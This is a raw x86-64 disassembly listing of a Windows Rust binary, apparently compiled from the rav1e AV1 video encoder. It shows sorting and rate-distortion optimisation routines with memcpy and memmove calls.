lea rdx, [r15 + r12]
mov qword [rbx + 0x198], r14
mov qword [rbx + 0x1a0], rdi
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
mov qword [rsp + 0x20], rax
mov rcx, r12
mov qword [rbx + 0x138], rdx
lea r8, [rbx + 0x7c0]
mov r9, r13
call fcn.1400e2c83
mov qword [rbx + 0x198], r14
mov qword [rbx + 0x1a0], rdi
mov rcx, rax
call fcn.1400e2cbc
mov rax, qword [rbx + 0x138]
cmp rax, r12
jb 0x140104083
cmp rax, r13
ja 0x140104083
jae 0x140101698
cmp r15, 9
ja 0x140101698
lea rdx, [r12 + 0xa]
cmp rdx, r13
cmovae rdx, r13
mov qword [rbx + 0x198], r14
mov qword [rbx + 0x1a0], rdi
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
mov qword [rsp + 0x20], rax
mov rcx, r12
mov qword [rbx + 0x138], rdx
lea r8, [rbx + 0x7c0]
mov r9, r13
call fcn.1400e2c83
cmp r15, 1
adc r15, 0
mov qword [rbx + 0x198], r14
mov qword [rbx + 0x1a0], rdi
mov rcx, rax
mov r8, r15
call fcn.140111a8e
mov r15, rsi
cmp rsi, rdi
jne 0x1401016f8
lea rax, [rdi + rdi]
mov qword [rbx + 0x130], rax
mov rdx, rdi
shl rdx, 5
push 8
pop r13
mov rcx, r13
call fcn.1400710da
test rax, rax
je 0x140104104
mov rsi, rax
shl rdi, 4
mov rcx, rax
mov rdx, r14
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r14
mov rdx, r13
call fcn.140001b50
mov r14, rsi
mov r13, qword [rbx + 0x148]
mov rdi, qword [rbx + 0x130]
mov rax, qword [rbx + 0x138]
sub rax, r12
mov rcx, r15
shl rcx, 4
mov qword [r14 + rcx], rax
mov qword [r14 + rcx + 8], r12
inc r15
mov qword [rbx + 0x188], r14
mov qword [rbx + 0x130], rdi
mov rcx, r14
mov rdx, r15
mov r8, r13
call fcn.14003e0ab
cmp rax, 1
jne 0x1401019b1
mov r12, rdx
mov qword [rbx + 0x198], r14
mov qword [rbx + 0x1a0], rdi
mov rcx, r14
mov qword [rbx + 0x100], r15
mov rdx, r15
mov r8, r12
lea r9, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.14003cd10
mov rcx, qword [rax]
mov qword [rbx + 0xf0], rcx
mov rsi, qword [rax + 8]
lea r8, [r12 + 1]
mov qword [rbx + 0x198], r14
mov qword [rbx + 0x1a0], rdi
mov rcx, r14
mov rdx, qword [rbx + 0x100]
mov qword [rbx + 0x108], r8
lea r9, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.14003cd10
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov qword [rbx + 0x118], rcx
add rdx, rcx
mov qword [rbx + 0x198], r14
mov qword [rbx + 0x1a0], rdi
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
mov qword [rsp + 0x20], rax
mov rcx, rsi
lea r8, [rbx + 0x7c0]
mov r9, r13
call fcn.1400e2c83
mov r13, rax
mov r15, rdx
mov qword [rbx + 0x110], rsi
mov rax, qword [rbx + 0xf0]
mov rsi, rax
shl rsi, 5
lea rdi, [rsi + r13]
mov r14, rdx
sub r14, rax
cmp r14, rax
jae 0x1401018a2
shl r14, 5
mov rsi, qword [rbx + 0x170]
mov rcx, rsi
mov rdx, rdi
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
add r14, rsi
shl r15, 5
lea rax, [r15 + r13]
add rax, 0xffffffffffffffe0
mov r10, rsi
mov rsi, r14
mov r15, qword [rbx + 0x100]
cmp rdi, r13
jbe 0x140101920
cmp rsi, r10
jbe 0x140101920
mov ecx, dword [rsi - 8]
mov edx, dword [rdi - 8]
cmp ecx, edx
mov r8d, 0
sbb r8, r8
cmp ecx, edx
mov r9d, 0
adc r9, 0xffffffffffffffff
shl r8, 5
add rdi, r8
shl r9, 5
add rsi, r9
cmp ecx, edx
mov rcx, rsi
cmovb rcx, rdi
movups xmm0, xmmword [rcx]
movupd xmm1, xmmword [rcx + 0x10]
movupd xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
add rax, 0xffffffffffffffe0
jmp 0x140101846
mov r14, r13
shl r15, 5
add r13, r15
mov r15, qword [rbx + 0x170]
mov rcx, r15
mov rdx, r14
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rsi, r15
mov rdx, r15
mov r15, qword [rbx + 0x100]
cmp rdx, rsi
jae 0x140101926
cmp rdi, r13
jae 0x140101926
mov r8d, dword [rdi + 0x18]
xor eax, eax
xor ecx, ecx
mov r10, rdi
cmp r8d, dword [rdx + 0x18]
setae r8b
setb r9b
jb 0x1401018f4
mov r10, rdx
movups xmm0, xmmword [r10]
movupd xmm1, xmmword [r10 + 0x10]
movupd xmmword [r14 + 0x10], xmm1
movups xmmword [r14], xmm0
add r14, 0x20
mov cl, r9b
shl ecx, 5
add rdi, rcx
mov al, r8b
shl eax, 5
add rdx, rax
jmp 0x1401018ce
mov r14, rdi
mov rdx, r10
sub rsi, rdx
mov rcx, r14
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbx + 0x108]
cmp r15, rcx
mov rdi, qword [rbx + 0x130]
mov rax, qword [rbx + 0x110]
jbe 0x140103eac
shl rcx, 4
mov rdx, qword [rbx + 0x118]
add rdx, qword [rbx + 0xf0]
mov r14, qword [rbx + 0x188]
mov qword [r14 + rcx], rdx
mov qword [r14 + rcx + 8], rax
cmp r15, r12
mov r13, qword [rbx + 0x148]
jbe 0x140103efa
mov rax, r12
shl rax, 4
lea rcx, [r14 + rax]
lea rdx, [r14 + rax]
add rdx, 0x10
not r12
add r12, r15
shl r12, 4
mov r8, r12
call sub.VCRUNTIME140.dll_memmove
dec r15
jmp 0x140101723
mov rcx, r14
mov r12, qword [rbx + 0x138]
mov r14, qword [rbx + 0x170]
jmp 0x140101533
mov r15, rdx
jmp 0x14010156b
mov rdx, rdi
call fcn.14003cc4d
mov rcx, r14
mov rdx, qword [rbx + 0x218]
call fcn.14003cc4d
mov edi, dword [rbx + 0xa40]
mov rax, qword [rbx + 0x180]
cmp rax, rdi
cmovb rdi, rax
lea r15, [rbx + 0x344]
mov r14d, dword [rbx + 0x2a8]
xor r12d, r12d
lea rsi, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
xor r13d, r13d
cmp r13, rdi
je 0x140101b35
mov rdx, r13
shl rdx, 5
movzx ecx, byte [rbx + rdx + 0x7c0]
mov rax, qword [rbx + rdx + 0x7c8]
mov r8, qword [rbx + rdx + 0x7d0]
mov rdx, rcx
shl rdx, 0x20
or rdx, 1
mov qword [rbx + 0x340], rdx
mov edx, dword [rbx + 0x1c8]
cmp rax, rdx
jae 0x140103bdf
cmp rax, r14
jae 0x140103bcc
mov edx, dword [rbx + 0x13c0]
cmp rax, rdx
jae 0x140103bd8
movzx edx, word [rbx + rax*2 + 0x1cc]
mov r9, qword [rbx + rax*8 + 0x270]
imul rax, rax, 0x70
add rax, rbx
add rax, 0xb00
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x78], r9
mov word [rsp + 0x58], dx
mov byte [rsp + 0x90], r12b
mov byte [rsp + 0x88], r12b
mov byte [rsp + 0x70], r12b
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x50], r8
lea rax, [rbx + 0x2b8]
mov qword [rsp + 0x48], rax
lea rax, [rbx + 0xa50]
mov qword [rsp + 0x40], rax
mov eax, dword [rbx + 0x1c4]
mov byte [rsp + 0x38], al
mov rax, qword [rbx + 0x178]
mov qword [rsp + 0x30], rax
mov rax, qword [rbx + 0x140]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x13f0]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x68], 1
mov rdx, qword [rbx + 0x128]
mov r8b, byte [rbp + 0x13e0]
mov r9, qword [rbp + 0x13e8]
call fcn.140110b93
inc r13
jmp 0x140101a15
movups xmm0, xmmword [rbx + 0x2b8]
movupd xmm1, xmmword [rbx + 0x2c8]
movups xmm2, xmmword [rbx + 0x2d8]
movaps xmmword [rbx + 0x200], xmm2
movapd xmmword [rbx + 0x1f0], xmm1
movaps xmmword [rbx + 0x1e0], xmm0
lea rcx, [rbx + 0xb00]
call fcn.1400e2957
mov rdi, qword [rbp + 0x13f0]
mov r13, qword [rbx + 0x140]
mov r15, qword [rbx + 0x190]
mov r12, qword [rbx + 0x210]
mov rax, qword [rbx + 0x230]
mov eax, dword [rax + 0x230]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r12
mov rcx, qword [rbp + 0x13e8]
mov rdx, rdi
mov r8b, byte [rbp + 0x13e0]
mov r9, r15
call fcn.1400cdd38
mov edx, eax
cmp byte [rbx + 0x20e], 0
jne 0x1401030a6
movaps xmm0, xmmword [rbx + 0x1e0]
movapd xmm1, xmmword [rbx + 0x1f0]
movaps xmm2, xmmword [rbx + 0x200]
movaps xmmword [rbx + 0x290], xmm2
movapd xmmword [rbx + 0x280], xmm1
movaps xmmword [rbx + 0x270], xmm0
mov al, byte [rbp + 0x13e0]
mov byte [rbx + 0xff], al
mov rax, qword [rbp + 0x13e8]
mov qword [rbx + 0x1c8], rax
and dword [rbx + 0x1a8], 0
mov qword [rbx + 0x1d0], rdi
mov eax, dword [rbx + 0x1c4]
mov byte [rbx + 0xee], al
mov rcx, qword [rbx + 0x128]
mov eax, dword [rcx + 0x2ec]
test eax, eax
mov byte [rbx + 0x218], dl
je 0x140101c83
test al, 1
je 0x140101c94
mov rax, qword [rbx + 0x128]
mov rax, qword [rax + 0x2b8]
xor ecx, ecx
cmp byte [rax + 0x47], 2
setae cl
lea rax, [rcx*4 + 3]
mov qword [rbx + 0x210], rax
mov rax, qword [rbx + 0x178]
mov rcx, qword [rax + 0x1288]
mov dl, byte [rbp + 0x13e0]
call fcn.140076ed6
jmp 0x140101cc2
mov rax, qword [rcx + 0x2b8]
cmp byte [rax + 0x47], 0
je 0x140101c94
push 7
jmp 0x140101c96
push 3
pop rax
mov qword [rbx + 0x210], rax
mov rax, qword [rbx + 0x178]
mov rcx, qword [rax + 0x1278]
mov rdx, qword [rax + 0x1288]
mov r8, qword [rbp + 0x13e8]
mov r9, rdi
call fcn.140076dad
mov rdx, rax
lea rsi, [rbx + 0x7c0]
mov rcx, rsi
call fcn.1400e13ed
mov r12d, dword [rbx + 0x1a8]
lea rax, [r12 - 1]
cmp rax, 0xc
jbe 0x14010416f
lea rcx, [rbx + 0x1ac]
movabs rax, 0x807060504030c0a
mov qword [rbx + r12 + 0x1b1], rax
movabs rax, 0x30c0a0b09010200
mov qword [rbx + r12 + 0x1ac], rax
add r12d, 0xd
mov dword [rcx - 4], r12d
mov qword [rbx + 0x340], rsi
cmp r12d, 0x15
jae 0x140101d53
cmp r12d, 1
jbe 0x1401022e4
push 1
pop r8
lea r9, [rbx + 0x340]
lea rcx, [rbx + 0x1ac]
mov rdx, r12
call fcn.1400e27d8
jmp 0x1401022e4
mov esi, r12d
shr esi, 1
push 1
pop rcx
mov rdx, rsi
call fcn.1400710da
test rax, rax
je 0x140104198
mov r14, rax
mov qword [rbx + 0x190], rsi
push 8
pop rcx
mov edx, 0x100
call fcn.1400710da
test rax, rax
mov qword [rbx + 0x100], r14
je 0x1401041a4
mov rsi, rax
push 0x10
pop rdi
xor eax, eax
mov qword [rbx + 0xf0], rax
xor r15d, r15d
mov qword [rbx + 0x118], r12
cmp r15, r12
jae 0x1401022bc
mov qword [rbx + 0x150], rsi
mov qword [rbx + 0x158], rdi
mov rcx, r15
lea rdx, [rbx + 0x1ac]
mov r8, r12
call fcn.1400e2563
mov r13, rsi
mov rsi, rdx
cmp rdx, 2
jae 0x140101df1
lea rax, [rsi + r15]
mov qword [rbx + 0x180], rax
jmp 0x140101ed9
mov r14, rax
mov r8b, byte [rax]
mov dl, byte [rax + 1]
mov qword [rbx + 0x150], r13
mov qword [rbx + 0x158], rdi
lea rcx, [rbx + 0x340]
call fcn.1400e2928
push 2
pop r12
test al, al
je 0x140101e4d
cmp r12, rsi
je 0x140101e85
mov r8b, byte [r14 + r12 - 1]
mov dl, byte [r14 + r12]
mov qword [rbx + 0x150], r13
mov qword [rbx + 0x158], rdi
lea rcx, [rbx + 0x340]
call fcn.1400e2928
test al, al
je 0x140101e82
inc r12
jmp 0x140101e1c
cmp r12, rsi
je 0x140101de1
mov r8b, byte [r14 + r12 - 1]
mov dl, byte [r14 + r12]
mov qword [rbx + 0x150], r13
mov qword [rbx + 0x158], rdi
lea rcx, [rbx + 0x340]
call fcn.1400e2928
test al, al
jne 0x1401022b4
inc r12
jmp 0x140101e4d
mov rsi, r12
lea rdx, [rsi + r15]
mov r14, r13
mov qword [rbx + 0x150], r13
mov qword [rbx + 0x158], rdi
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
mov qword [rsp + 0x20], rax
mov rcx, r15
mov qword [rbx + 0x180], rdx
lea r8, [rbx + 0x1ac]
mov r9, qword [rbx + 0x118]
call fcn.140085969
mov qword [rbx + 0x150], r14
mov qword [rbx + 0x158], rdi
mov rcx, rax
call fcn.1400e2590
mov rcx, qword [rbx + 0x180]
cmp rcx, r15
mov rax, qword [rbx + 0x118]
jb 0x140103ffb
cmp rcx, rax
ja 0x140103ffb
jae 0x140101f6e
cmp rsi, 9
ja 0x140101f6e
mov r14, r13
lea rdx, [r15 + 0xa]
mov r9, qword [rbx + 0x118]
cmp rdx, r9
cmovae rdx, r9
mov qword [rbx + 0x150], r13
mov qword [rbx + 0x158], rdi
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
mov qword [rsp + 0x20], rax
mov rcx, r15
mov qword [rbx + 0x180], rdx
lea r8, [rbx + 0x1ac]
call fcn.140085969
cmp rsi, 1
adc rsi, 0
mov qword [rbx + 0x150], r14
mov qword [rbx + 0x158], rdi
mov rcx, rax
mov r8, rsi
lea r9, [rbx + 0x340]
call fcn.1400e27d8
mov r14, qword [rbx + 0xf0]
cmp r14, rdi
jne 0x140101fe2
mov qword [rbx + 0x108], r15
lea rax, [rdi + rdi]
mov qword [rbx + 0x110], rax
mov rdx, rdi
shl rdx, 5
push 8
pop r15
mov rcx, r15
call fcn.1400710da
test rax, rax
mov r12, qword [rbx + 0x118]
je 0x1401040ac
mov rsi, rax
shl rdi, 4
mov rcx, rax
mov r14, r13
mov rdx, r13
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r13
mov rdx, r15
call fcn.140001b50
mov r14, qword [rbx + 0xf0]
mov r15, qword [rbx + 0x108]
jmp 0x140101ff3
mov qword [rbx + 0x110], rdi
mov r12, qword [rbx + 0x118]
mov rsi, r13
mov rax, qword [rbx + 0x180]
sub rax, r15
mov rcx, r14
shl rcx, 4
mov qword [rsi + rcx], rax
mov qword [rsi + rcx + 8], r15
inc r14
mov qword [rbx + 0x138], rsi
mov rcx, rsi
mov rdx, r14
mov r8, r12
call fcn.14003e0ab
cmp rax, 1
mov qword [rbx + 0xf0], r14
jne 0x14010229a
mov r8, rdx
mov qword [rbx + 0x150], rsi
mov r15, qword [rbx + 0x110]
mov qword [rbx + 0x158], r15
mov rcx, rsi
mov rdx, r14
mov qword [rbx + 0x108], r8
lea r9, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.14003cd10
mov rdi, qword [rax]
mov r14, qword [rax + 8]
mov rax, qword [rbx + 0x108]
lea r12, [rax + 1]
mov qword [rbx + 0x150], rsi
mov qword [rbx + 0x158], r15
mov rcx, rsi
mov rdx, qword [rbx + 0xf0]
mov r8, r12
lea r9, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.14003cd10
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov qword [rbx + 0x188], rcx
add rdx, rcx
mov qword [rbx + 0x150], rsi
mov qword [rbx + 0x158], r15
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
mov qword [rsp + 0x20], rax
mov rcx, r14
lea r8, [rbx + 0x1ac]
mov r9, qword [rbx + 0x118]
call fcn.140085969
mov r13, rax
mov r15, rdx
mov qword [rbx + 0x170], r12
mov qword [rbx + 0x148], r14
lea r12, [rax + rdi]
mov rsi, rax
add rsi, rdx
sub r15, rdi
cmp r15, rdi
mov qword [rbx + 0x130], rdi
jae 0x14010218d
mov r14, qword [rbx + 0x100]
mov rcx, r14
mov rdx, r12
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
add r15, r14
cmp r12, r13
jbe 0x1401021fb
cmp r15, r14
jbe 0x1401021fb
mov dl, byte [r15 - 1]
mov r8b, byte [r12 - 1]
mov qword [rbx + 0x240], r12
mov qword [rbx + 0x248], r15
mov qword [rbx + 0x250], r14
lea rcx, [rbx + 0x340]
call fcn.1400e2928
movzx eax, al
sub r12, rax
mov ecx, eax
xor cl, 1
movzx ecx, cl
sub r15, rcx
test al, al
mov rax, r15
cmovne rax, r12
mov al, byte [rax]
mov byte [rsi - 1], al
dec rsi
mov r14, qword [rbx + 0x100]
jmp 0x140102126
mov r14, qword [rbx + 0x100]
mov rcx, r14
mov rdx, r13
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
lea r15, [r14 + rdi]
cmp r14, r15
jae 0x1401021fe
cmp r12, rsi
jae 0x1401021fe
mov dl, byte [r12]
mov r8b, byte [r14]
mov qword [rbx + 0x240], r13
mov qword [rbx + 0x248], r15
mov qword [rbx + 0x250], r14
lea rcx, [rbx + 0x340]
call fcn.1400e2928
mov rcx, r12
test al, al
jne 0x1401021e2
mov rcx, r14
mov cl, byte [rcx]
mov byte [r13], cl
inc r13
movzx ecx, al
add r12, rcx
xor al, 1
movzx eax, al
add r14, rax
jmp 0x1401021a6
mov r13, r12
sub r15, r14
mov rcx, r13
mov rdx, r14
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov r14, qword [rbx + 0xf0]
mov rcx, qword [rbx + 0x170]
cmp r14, rcx
mov rsi, qword [rbx + 0x138]
mov rdx, qword [rbx + 0x110]
mov rax, qword [rbx + 0x130]
jbe 0x140103d46
shl rcx, 4
mov r8, qword [rbx + 0x188]
add r8, rax
mov qword [rsi + rcx], r8
mov rax, qword [rbx + 0x148]
mov qword [rsi + rcx + 8], rax
mov r8, qword [rbx + 0x108]
cmp r14, r8
jbe 0x140103d8d
mov rax, r8
shl rax, 4
lea rcx, [rsi + rax]
lea rdx, [rsi + rax]
add rdx, 0x10
not r8
add r8, r14
shl r8, 4
call sub.VCRUNTIME140.dll_memmove
dec r14
mov r12, qword [rbx + 0x118]
jmp 0x140102017
mov rdi, qword [rbx + 0x110]
mov r15, qword [rbx + 0x180]
mov r14, qword [rbx + 0x100]
jmp 0x140101dac
mov rsi, r12
jmp 0x140101de1
mov rcx, rsi
mov rdx, rdi
call fcn.14003cc4d
mov rcx, r14
mov rdx, qword [rbx + 0x190]
call fcn.140022c4e
mov rdi, qword [rbp + 0x13f0]
mov r13, qword [rbx + 0x140]
mov cl, byte [rbp + 0x13e0]
call fcn.140098f33
mov esi, eax
mov rax, qword [r13 + 0x120]
mov rcx, qword [r13 + 0x128]
movups xmm0, xmmword [r13 + 0x140]
lea r14, [rbx + 0x7c0]
movups xmmword [r14 + 0x20], xmm0
movupd xmm0, xmmword [r13 + 0x130]
movupd xmmword [r14 + 0x10], xmm0
mov qword [r14 + 8], rcx
mov qword [r14], rax
mov r8, qword [rax + 0x20]
mov r9, qword [rax + 0x28]
mov r12, qword [rbp + 0x13e8]
mov rcx, r12
mov rdx, rdi
call fcn.14007df20
mov rcx, qword [rbx + 0x128]
mov r15, qword [rcx + 0x2b0]
mov rcx, qword [r15 + 0x1f0]
mov r8b, byte [r15 + 0x264]
mov byte [rsp + 0x68], r8b
mov qword [rsp + 0x58], rcx
mov byte [rsp + 0x50], sil
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], rax
mov al, byte [rbp + 0x13e0]
mov byte [rsp + 0x38], al
xorps xmm6, xmm6
movups xmmword [rsp + 0x28], xmm6
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x70], 2
mov byte [rsp + 0x60], 0x22
lea rcx, [rbx + 0x2e8]
lea rdx, [rbx + 0xb00]
mov r8, r14
mov r9, r12
call fcn.14007df38
mov qword [rbx + 0x100], r15
cmp byte [r15 + 0x264], 0
je 0x140102444
and qword [rsp + 0x20], 0
mov rcx, r13
mov rdx, r12
mov r8, rdi
xor r9d, r9d
call fcn.140109878
mov r14d, eax
and qword [rsp + 0x20], 0
mov rcx, r13
mov rdx, r12
mov r8, rdi
xor r9d, r9d
call fcn.1400d081d
lea r15, [rbx + 0x7c0]
mov rcx, r15
xor edx, edx
mov r8d, r14d
mov r9d, eax
call fcn.1400732b6
mov eax, dword [r15 + 8]
mov dword [rbx + 0x228], eax
mov rax, qword [r15]
mov qword [rbx + 0x220], rax
mov al, byte [r15 + 0xc]
mov byte [rbx + 0xf0], al
movzx eax, word [r15 + 0xd]
mov word [rbx + 0x120], ax
mov al, byte [r15 + 0xf]
mov byte [rbx + 0x122], al
jmp 0x14010244b
mov byte [rbx + 0xf0], 0xa
movaps xmmword [rbx + 0x7e0], xmm6
movaps xmmword [rbx + 0x7d0], xmm6
and dword [rbx + 0x7f0], 0
movaps xmmword [rbx + 0x7c0], xmm6
mov eax, dword [rbx + 0x1a8]
lea rdx, [rbx + 0x1ac]
add rax, rdx
mov rcx, qword [rbx + 0x210]
shr ecx, 1
lea r8, [rbx + 0x2b8]
mov qword [r8], rdx
mov qword [r8 + 8], rax
mov qword [rbx + 0x108], rcx
mov qword [r8 + 0x10], rcx
lea r15, [rbx + 0x728]
lea rdi, [rbx + 0x34d]
lea rcx, [rbx + 0x2b8]
call fcn.1400e1438
test rax, rax
mov r14, qword [rbx + 0x140]
je 0x140102775
mov cl, byte [r14 + 0x2d0]
mov rdx, qword [r14 + 0x2c0]
mov r8, qword [r14 + 0x2c8]
shl rdx, cl
shl r8, cl
mov r9, qword [r14 + 0x120]
mov cl, byte [r9 + 0x20]
mov r10, qword [rbp + 0x13e8]
shr r10, cl
mov cl, byte [r9 + 0x28]
shl r10, 2
mov r11, qword [rbp + 0x13f0]
shr r11, cl
test r10, r10
js 0x140103f71
mov rcx, qword [r14 + 0x140]
cmp rcx, r10
jb 0x140103f71
shl r11, 2
test r11, r11
js 0x140103f81
mov r13, r14
mov r14, qword [r14 + 0x148]
cmp r14, r11
jb 0x140103f81
mov r12b, byte [rax]
mov rax, qword [r9]
imul rax, r11
add rax, rax
add rax, qword [r13 + 0x128]
sub rcx, r10
lea rax, [rax + r10*2]
add r10, qword [r13 + 0x130]
sub r14, r11
add r11, qword [r13 + 0x138]
mov qword [rbx + 0x720], rax
mov qword [rbx + 0x718], r9
mov qword [rbx + 0x728], r10
mov qword [rbx + 0x730], r11
mov qword [rbx + 0x738], rcx
mov qword [rbx + 0x740], r14
lea ecx, [r12 - 1]
mov al, 0xa
cmp cl, 7
ja 0x1401025d3
mov eax, dword [rbx + 0x228]
mov dword [rbx + 0x348], eax
mov rax, qword [rbx + 0x220]
mov qword [rbx + 0x340], rax
mov al, byte [rbx + 0x122]
mov byte [rdi + 2], al
movzx eax, word [rbx + 0x120]
mov word [rdi], ax
mov al, byte [rbx + 0xf0]
mov rcx, qword [rbx + 0x100]
mov rcx, qword [rcx + 0x1f0]
mov byte [rbx + 0x34c], al
lea rax, [rbx + 0x2e8]
mov qword [rsp + 0x50], rax
lea rax, [rbx + 0x340]
mov qword [rsp + 0x48], rax
lea rax, [0x140262a00]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rcx
mov byte [rsp + 0x20], sil
mov dword [rsp + 0x40], 2
mov qword [rsp + 0x38], 2
mov ecx, r12d
lea r9, [rbx + 0x718]
call fcn.14007f049
mov r14, qword [rbx + 0x140]
mov rax, qword [r14 + 0x78]
mov rdx, qword [r14 + 0x80]
test rdx, rdx
je 0x1401026f3
mov cl, byte [rax + 0x20]
mov r8, qword [rbp + 0x13e8]
shr r8, cl
mov cl, byte [rax + 0x28]
shl r8, 2
mov r9, qword [rbp + 0x13f0]
shr r9, cl
test r8, r8
js 0x140103faf
mov rcx, qword [r14 + 0x98]
cmp rcx, r8
jb 0x140103faf
shl r9, 2
test r9, r9
js 0x140103f9d
mov r10, qword [r14 + 0xa0]
cmp r10, r9
jb 0x140103f9d
sub rcx, r8
sub r10, r9
mov r11, qword [rax]
imul r11, r9
lea rdx, [rdx + r11*2]
lea rdx, [rdx + r8*2]
add r8, qword [r14 + 0x88]
add r9, qword [r14 + 0x90]
mov qword [rbx + 0x5d8], rdx
mov qword [rbx + 0x5d0], rax
mov qword [rbx + 0x5e0], r8
mov qword [rbx + 0x5e8], r9
mov qword [rbx + 0x5f0], rcx
mov qword [rbx + 0x5f8], r10
jmp 0x14010270d
lea rcx, [rbx + 0x5d8]
movups xmmword [rcx + 0x10], xmm6
movups xmmword [rcx], xmm6
and qword [rcx + 0x20], 0
mov qword [rbx + 0x5d0], rax
movzx r13d, r12b
movupd xmm0, xmmword [rbx + 0x718]
movupd xmm1, xmmword [r15]
movups xmm2, xmmword [r15 + 0x10]
movupd xmmword [rdi + 3], xmm1
movups xmmword [rdi + 0x13], xmm2
movupd xmmword [rbx + 0x340], xmm0
mov ecx, esi
call fcn.140080ff1
mov r14, rax
mov ecx, esi
call fcn.14008100c
lea rcx, [rbx + 0x5d0]
lea rdx, [rbx + 0x340]
mov r8, r14
mov r9, rax
call fcn.14007d147
cmp r12b, 0xc
ja 0x140103c0d
mov dword [rbx + r13*4 + 0x7c0], eax
jmp 0x1401024a7
movaps xmm0, xmmword [rbx + 0x7c0]
movapd xmm1, xmmword [rbx + 0x7d0]
movaps xmm2, xmmword [rbx + 0x7e0]
movaps xmmword [rbx + 0x340], xmm0
movapd xmmword [rbx + 0x350], xmm1
movaps xmmword [rbx + 0x360], xmm2
mov eax, dword [rbx + 0x7f0]
mov dword [rbx + 0x370], eax
mov r8d, dword [rbx + 0x1a8]
mov rcx, qword [rbx + 0x108]
lea rdx, [rbx + 0x1ac]
call fcn.1400e147f
mov qword [rbx + 0x138], rax
mov r12, rdx
lea rax, [rbx + 0x340]
mov qword [rbx + 0x7c0], rax
cmp rdx, 0x15
jae 0x140102815
cmp r12, 1
mov r14b, byte [rbx + 0x218]
jbe 0x140102da4
push 1
pop r8
lea r9, [rbx + 0x7c0]
mov rcx, qword [rbx + 0x138]
mov rdx, r12
call fcn.1400e263e
jmp 0x140102da4
mov rsi, r12
shr rsi, 1
push 1
pop rcx
mov rdx, rsi
call fcn.1400710da
test rax, rax
je 0x140104198
mov rdi, rax
mov qword [rbx + 0x238], rsi
push 8
pop rcx
mov edx, 0x100
call fcn.1400710da
test rax, rax
mov qword [rbx + 0x100], rdi
je 0x1401041b2
mov rsi, rax
push 0x10
pop r15
xor eax, eax
mov qword [rbx + 0xf0], rax
xor r14d, r14d
mov qword [rbx + 0x118], r12
cmp r14, r12
jae 0x140102d83
mov qword [rbx + 0x160], rsi
mov qword [rbx + 0x168], r15
mov rcx, r14
mov rdx, qword [rbx + 0x138]
mov r8, r12
call fcn.1400e2563
mov r13, rsi
mov rdi, rdx
cmp rdx, 2
jae 0x1401028b5
lea rax, [rdi + r14]
mov qword [rbx + 0x190], rax
jmp 0x14010299d
mov rsi, rax
mov r8b, byte [rax]
mov dl, byte [rax + 1]
mov qword [rbx + 0x160], r13
mov qword [rbx + 0x168], r15
lea rcx, [rbx + 0x7c0]
call fcn.140111a0b
push 2
pop r12
test al, al
je 0x140102911
cmp r12, rdi
je 0x140102949
mov r8b, byte [rsi + r12 - 1]
mov dl, byte [rsi + r12]
mov qword [rbx + 0x160], r13
mov qword [rbx + 0x168], r15
lea rcx, [rbx + 0x7c0]
call fcn.140111a0b
test al, al
je 0x140102946
inc r12
jmp 0x1401028e0
cmp r12, rdi
je 0x1401028a5
mov r8b, byte [rsi + r12 - 1]
mov dl, byte [rsi + r12]
mov qword [rbx + 0x160], r13
mov qword [rbx + 0x168], r15
lea rcx, [rbx + 0x7c0]
call fcn.140111a0b
test al, al
jne 0x140102d7b
inc r12
jmp 0x140102911
mov rdi, r12
lea rdx, [rdi + r14]
mov rsi, r13
mov qword [rbx + 0x160], r13
mov qword [rbx + 0x168], r15
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
mov qword [rsp + 0x20], rax
mov rcx, r14
mov qword [rbx + 0x190], rdx
mov r8, qword [rbx + 0x138]
mov r9, qword [rbx + 0x118]
call fcn.140085969
mov qword [rbx + 0x160], rsi
mov qword [rbx + 0x168], r15
mov rcx, rax
call fcn.1400e2590
mov rcx, qword [rbx + 0x190]
cmp rcx, r14
mov rax, qword [rbx + 0x118]
jb 0x140104024
cmp rcx, rax
ja 0x140104024
jae 0x140102a32
cmp rdi, 9
ja 0x140102a32
mov rsi, r13
lea rdx, [r14 + 0xa]
mov r9, qword [rbx + 0x118]
cmp rdx, r9
cmovae rdx, r9
mov qword [rbx + 0x160], r13
mov qword [rbx + 0x168], r15
